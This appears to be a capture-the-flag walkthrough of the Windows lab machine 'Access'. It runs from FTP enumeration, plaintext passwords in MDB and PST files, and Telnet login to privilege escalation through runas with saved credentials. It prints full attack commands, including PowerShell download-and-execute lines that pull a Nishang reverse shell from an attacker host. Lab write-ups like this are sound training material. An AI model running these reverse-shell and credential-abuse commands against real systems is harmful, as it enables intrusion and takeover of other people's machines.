PRIMARY CATEGORY → EASY

Summary

  • FTP Enumeration (Anonymous Login)
  • Microsoft Accces Database Enumeration (MDB)
  • Microsoft Personal Storage Table Enumeration (PST)
  • Telnet Enumeration (System User Login)
  • Stored Credentials Enumeration
  • Local File Shortcuts Enumeration (LNK)
  • Privesc via Runas.exe Windows Command


Setup

Directory creation with the Machine’s Name

mkdir Acess && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

MACHINE_NAME
mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
Access/scans
ping -c1 10.129.142.64

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

Access/scans
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn -oG allPorts 10.129.142.64

Open Ports → 21, 32, 80

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

Access/Scans
extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

Access/Scans
nmap -p21,23,80 -sCV -oN targeted 10.129.142.64
80 - HTTP
General Information
  • Banner Grabbling
Access/scans
nc -nv 10.129.148.205 80 <<< ""

Nothing reported

  • Server HTTP Response Headers
Access/scans
curl --silent --request GET --location --head "http://10.129.142.64"

According to some of the above headers, we extract the following information →

  • Web Server → Microsoft IIS
  • Server-Side Programming Language → ASP.NET

Therefore, we can start thinking about using .ASP as a valid extension when performing the Web Resources Enumeration via Gobuster, wfuzz…

Web Technologies #0

Let’s see the Web Technologies →

Access/scans
whatweb "http://10.129.142.64"

Practically the same information is obtained, IIS as Web Server and ASP.NET as Server-Side Programming Language

Nmap Fuzzing

Before proceeding with Directory Enumeration using known Fuzzers, such as gobuster or wfuzz, run the Nmap Small Fuzzer to get an idea of the available resources

Access/scans
nmap -p80 --script http-enum -oN simpleWebScan 10.129.142.64

No results found, let’s continue

Web Technologies #1

Once you access the website through the browser, just check again the Web Technologies reported by Wappalyzer

They may differ from those reported by Whatweb

Zoom In

But not in this case, nothing new here

Browser-Based Web Enumeration

The only thing displayed in the Web is the following image →

Zoom In

Nothing interesting is shown in the HTML Souce Code either

Web Resources Fuzzing

Let’s check any available resources, let’s go first with the directory enumeration using WFuzz

Access/scans
wfuzz -c --hc 404 -t 20 -f fullWebScan -w /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.142.64/FUZZ

No directory has been found with the above scan, let’s try again but specifying some extensions as follows, this time using gobuster

Access/scans
gobuster dir --threads 200 --output fullWebScan --extensions asp,aspx,html --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --url http://10.129.142.64

Nothing interesting either, let’s check the services running on the remaining ports

23 - Telnet
Access/scans
nc -nv 10.129.142.64 23 <<< ""

It does not report any relevant information

Nmap Telnet Enumeration
Access/scans
nmap -p23 -sV --script "*telnet* and safe" -n 10.129.142.64

With the above scan focused in the Telnet Service, we extract the OS Version running in the TargetWindows XP

Furthermore, this Telnet Server does not support encryption

Let’s try to connect to the Telnet Server through the Telnet Linux client

Access/scans
telnet 10.129.142.64

It seems that a login is required to access via Telnet the remote server

We currently have no credentials to try to login, not even a valid set of usernames to try to bruteforce it with hydra

Let’s move to the next Port/Service

21 - FTP

We have seen in the Nmap Comprehensive Scan that Anonymous Login is enabled for the externally exposed FTP Service

Let’s log in as the anonymous user

Access/scans
ftp -a 10.129.142.64
Access/scans
dir

Let’s try to download these resources to inspect them locally

Access/evidence/data
wget --mirror --no-passive-ftp "ftp://anonymous:@10.129.142.64"
Access/evidence/data/10.129.142.64
tree .

We have a Microsoft Database Access File and a ZIP File

Access/evidence/data/10.129.142.64
7z l -slt Engineer/Access\ Control.zip

The ZIP File contains a .PST File (Personal Store Table)

But the Method section indicates that It is encrypted with AES-256 Deflate

Therefore, if we try to extract it, It will ask for a password. As we currently have no password, we cannot crack the hash obtained with zip2john using john

Let’s analyze the .MDB file

Note that, on UNIX Systems, we can interact with this extension file through the mdbtools package

Access/evidence/data/10.129.142.64
apt install -y -- mdbtools

Note that this file type contains a certain number of tables, to list them filter by any table that matches the user or password strings →

Access/evidence/data/10.129.142.64
mdb-tables -1 ./Backups/backup.mdb | grep -iP -- '(password|user)'

There are quite a few tables that may contain interesting information

To extract all the stored data of these tables, proceed as follows →

Access/evidence/data/10.129.142.64
while IFS= read -r _table; do mdb-export Backups/backup.mdb "$_table" ; done < <( mdb-tables -1 Backups/backup.mdb |& grep -iP -- 'user|password' )

The first lines catch our attention, there are usernames and their passwords in plain text

Remember that there is a Encrypted ZIP File inside the directory named Engineer

Therefore, we could try to use the Engineer User’s Password

  • Password → access4u@security
Access/evidence/data/10.129.142.64
7z x Engineer/Access\ Control.zip

And Boom! The ZIP File has been extracted correctly using the above password

So, let’s inspect the .PST File

Note that, as with the .MDB File, a specific package has to be installed in order to be able to analyze that file. It is called pst-utils

Access/evidence/data/10.129.142.64
apt install -y -- pst-utils 

Once installed, we can use the readpst utility to convert the .PST file into a .MBOX file, which is readable, i.e. all information is stored in plain text

Access/evidence/data/10.129.142.64
readpst -tea 'Access Control.pst'

Now that we have the .MBOX file, we can inspect it properly

It has an email message which contains in its body a plain text password for the Security Account

Password → 4Cc3ssC0ntr0ller

The Security account may be a System one, now we can try to connect to the Telnet Server using these credentials

telnet 10.129.142.64

And Boom! We are connected via Telnet in the Target System


Shell as System User

Powershell via IEX

Due to the Telnet Session instability and slowness, let’s proceed to establish another connection but, this time, from the Target through a Reverse Shell

To do so, we have to transfer the Reverse Shell Payload to the Target

We are gonna use a Nishang Reverse Shell

Therefore, download it from the attacker and set up a Python Simple HTTP Web Server to share this resource

Access/tools
wget -O reverse.ps1 "https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcpOneLine.ps1"

Modify the content of the Payload to set the Attacker IP Address and a Listening Port to receive the Reverse Shell

Set up the Web Server

Access/tools
python3 -m http.server 8888

Set up a Listener Socket with the IP Address and Port specified in the above Payload

Access/tools
rlwrap nc -nvlp 443

Then, download the resource from the Target and execute the Payload as follows →

Target
start /b "" powershell.exe -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.34:8888/reverse.ps1')

Now we have a stable connection between the Target and the Attacker


Privesc #1

Initial Non-Privileged User → Security

Let’s see if we can obtains the user.txt flag

Target
Get-Content -Path C:\Users\Security\Desktop\user.txt

Just report it and continue, we have to get Admin Access 😁

Stored Credentials

Let’s check if there are any credentials saved in the Windows Credentials Manager

Target
cmdkey.exe /list

The credentials related to the ACCESS\Administrator User are stored, which means that we can execute any command as that user using the runas.exe Windows Tool

Note that, runas.exe is often used within local file shortcuts to run the binary related to that shorcut as another user, in this case, the one whose credentials has been saved

Therefore, before switching to the Administrator User Account, let’s list the .LNK files on the system that contain a runas command

Target
Get-ChildItem -Path "C:\" -Recurse -Force -Filter *.lnk | % { $Match = Get-Content -Path $_.FullName | Select-String -Pattern '.*runas.*' ; if ($Match){ Write-Output "`nFile: $($_.FullName)`n`n $($Match)" } }

Zoom In

There it is, a ZKAccess executable has been configured to be runned as ACCESS\Administrator through the C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk file shortcut

Runas Command

Let’s stablish another Reverse Connection but this time as the ACCESS\Administrator user

Repeat the same process as before, set a Web Server to share the downloaded Reverse Shell resource and set a Listener Socket

Once the above is done, just run the following command in the Target

Target
runas.exe /user:ACCESS\Administrator /savecred "powershell.exe -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.34:8888/reverse.ps1')"

And Boom! we are logged now as the Adminstrator User

Therefore, we can obtain the root.txt flag →

Target
Get-Content -Path C:\Users\Administrator\Desktop\root.txt

Just report it, and, that’s all! 😊